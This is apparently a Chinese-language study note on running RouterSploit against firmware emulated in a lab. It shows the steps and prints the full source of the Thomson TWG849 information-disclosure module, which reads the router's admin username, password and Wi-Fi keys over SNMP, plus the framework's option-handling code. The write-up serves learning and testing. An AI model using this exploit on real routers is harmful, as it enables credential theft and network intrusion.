# Routersploit
之前有用過metasploit來打firmadyne架好的router,可是一直都沒有成功~
## Set
參考[這個](https://codertw.com/%E7%A8%8B%E5%BC%8F%E8%AA%9E%E8%A8%80/444191/)就可以了。照著裝應該沒有什麼問題,裝好之後就
```
cd routersploit
./rsf.py
```
然後就會長得像這樣

## Use
之後還有幾個本來就有的指令可以用,去爬文然後熟悉了一下~
- search
- use
- show
之類的還有一些,那大概熟悉之後,我就架了一個之前id=4004的firmware,名字是`NWA1121-NI_2.10(AABJ.0)C0.zip`,裝好之後,因為他有一個漏洞叫做**Thomson TWG849 Info Disclosure**,然後這個漏洞有被寫成一個script在routersploit裡面,所以就來用用看。

大概解釋一下步驟
1. use exploits/routers/thomson/twg849
一開始應該要先search一下有沒有,不過因為我知道有,所以就不用search了,然後就可以去use他,基本上就是跟著目錄走,然後找到我們想要的那一個payload。
2. show options
進到`use_twg849`之後,就可以`show options`,然後看一下有什麼參數是我們需要加的,這邊的話,只有target的ip是我們需要告訴他的,記得之前在metasploit的時候,還要去set一些mipsel之類的~
3. set target 192.168.1.2
不解釋
4. run
好了之後就可以開始run了,這個洞可能沒有什麼太複雜的運算,所以一下子就跑好了,跑完之後他有說**exploit success**,然後就看他下面有個table,說了兩個info,一個是uptime一個是model。
## Trace
既然用了之後成功了,我就想說來trace一下他的code是怎麼寫的,如果自己可以把一個PoC寫出來的話會更好~
### twg848_info_disclosure.py
```python=
from routersploit.core.exploit import *
from routersploit.core.snmp.snmp_client import SNMPClient
class Exploit(SNMPClient):
__info__ = {
"name": "Thomson TWG849 Info Disclosure",
"description": "Module exploits Thomson TWG849 information disclosure vulnerability which allows reading sensitive information.",
"authors": (
"Sebastian Perez", # vulnerability discovery
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"references": (
"https://packetstormsecurity.com/files/133631/Thomson-CableHome-Gateway-DWG849-Information-Disclosure.html",
),
"devices": (
"Thomson TWG849",
)
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(161, "Target SNMP port")
verbosity = OptBool(False, "Enable verbose output: true/false")
def __init__(self):
self.oids = {
# make, model, software version
"model": "1.3.6.1.2.1.1.1.0",
"uptime": "1.3.6.1.2.1.1.3.0",
# web interface credentials
"username": "1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0",
"password": "1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0",
# ssid and key
"ssid1": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.32",
"ssid2": "1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32",
# guest network oids
"guest1": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.33",
"guest2": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.34",
"guest3": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.35",
}
def run(self):
res = []
print_status("Reading parameters...")
for name in self.oids.keys():
snmp_client = self.snmp_create()
snmp = snmp_client.get("private", self.oids[name])
if snmp:
value = str(snmp[0][1])
if value:
res.append((name, value))
if res:
print_success("Exploit success")
print_table(("Parameter", "Value"), *res)
else:
print_error("Exploit failed - could not read sensitive information")
@mute
def check(self):
snmp_client = self.snmp_create()
snmp = snmp_client.get("private", "1.3.6.1.2.1.1.1.0")
if snmp:
return True # target is not vulnerable
return False # target is vulnerable
```
### option.py
```python=
import re
import os.path
from routersploit.core.exploit.exceptions import OptionValidationError
from routersploit.core.exploit.utils import (
is_ipv4,
is_ipv6,
)
class Option(object):
""" Exploit attribute that is set by the end user """
def __init__(self, default, description="", advanced=False):
self.label = None
self.description = description
try:
self.advanced = bool(advanced)
except ValueError:
raise OptionValidationError("Invalid value. Cannot cast '{}' to boolean.".format(advanced))
if default:
self.__set__("", default)
else:
self.display_value = ""
self.value = ""
def __get__(self, instance, owner):
return self.value
class OptIP(Option):
""" Option IP attribute """
def __set__(self, instance, value):
if not value or is_ipv4(value) or is_ipv6(value):
self.value = self.display_value = value
else:
raise OptionValidationError("Invalid address. Provided address is not valid IPv4 or IPv6 address.")
class OptPort(Option):
""" Option Port attribute """
def __set__(self, instance, value):
try:
value = int(value)
if 0 < value <= 65535: # max port number is 65535
self.display_value = str(value)
self.value = value
else:
raise OptionValidationError("Invalid option. Port value should be between 0 and 65536.")
except ValueError:
raise OptionValidationError("Invalid option. Cannot cast '{}' to integer.".format(value))
class OptBool(Option):
""" Option Bool attribute """
def __init__(self, default, description="", advanced=False):
self.description = description
if default:
self.display_value = "true"
else:
self.display_value = "false"
self.value = default
try:
self.advanced = bool(advanced)
except ValueError:
raise OptionValidationError("Invalid value. Cannot cast '{}' to boolean.".format(advanced))
def __set__(self, instance, value):
if value == "true":
self.value = True
self.display_value = value
elif value == "false":
self.value = False
self.display_value = value
else:
raise OptionValidationError("Invalid value. It should be true or false.")
class OptInteger(Option):
""" Option Integer attribute """
def __set__(self, instance, value):
try:
self.display_value = str(value)
self.value = int(value)
except ValueError:
raise OptionValidationError("Invalid option. Cannot cast '{}' to integer.".format(value))
class OptFloat(Option):
""" Option Float attribute """
def __set__(self, instance, value):
try:
self.display_value = str(value)
self.value = float(value)
except ValueError:
raise OptionValidationError("Invalid option. Cannot cast '{}' to float.".format(value))
class OptString(Option):
""" Option String attribute """
def __set__(self, instance, value):
try:
self.value = self.display_value = str(value)
except ValueError:
raise OptionValidationError("Invalid option. Cannot cast '{}' to string.".format(value))
class OptMAC(Option):
""" Option MAC attribute """
def __set__(self, instance, value):
regexp = r"^[a-f\d]{1,2}:[a-f\d]{1,2}:[a-f\d]{1,2}:[a-f\d]{1,2}:[a-f\d]{1,2}:[a-f\d]{1,2}$"
if re.match(regexp, value.lower()):
self.value = self.display_value = value
else:
raise OptionValidationError("Invalid option. '{}' is not a valid MAC address".format(value))
class OptWordlist(Option):
""" Option Wordlist attribute """
def __get__(self, instance, owner):
if self.display_value.startswith("file://"):
path = self.display_value.replace("file://", "")
with open(path, "r") as f:
lines = [line.strip() for line in f.readlines()]
return lines
return self.display_value.split(",")
def __set__(self, instance, value):
if value.startswith("file://"):
path = value.replace("file://", "")
if not os.path.exists(path):
raise OptionValidationError("File '{}' does not exist.".format(path))
self.value = self.display_value = value
class OptEncoder(Option):
""" Option Encoder attribute """
def __init__(self, default, description="", advanced=False):
self.description = description
if default:
self.display_value = default
self.value = default
else:
self.display_value = ""
self.value = None
try:
self.advanced = bool(advanced)
except ValueError:
raise OptionValidationError("Invalid value. Cannot cast '{}' to boolean.".format(advanced))
def __set__(self, instance, value):
encoder = instance.get_encoder(value)
if encoder:
self.value = encoder
self.display_value = value
else:
raise OptionValidationError("Encoder not available. Check available encoders with `show encoders`.")
```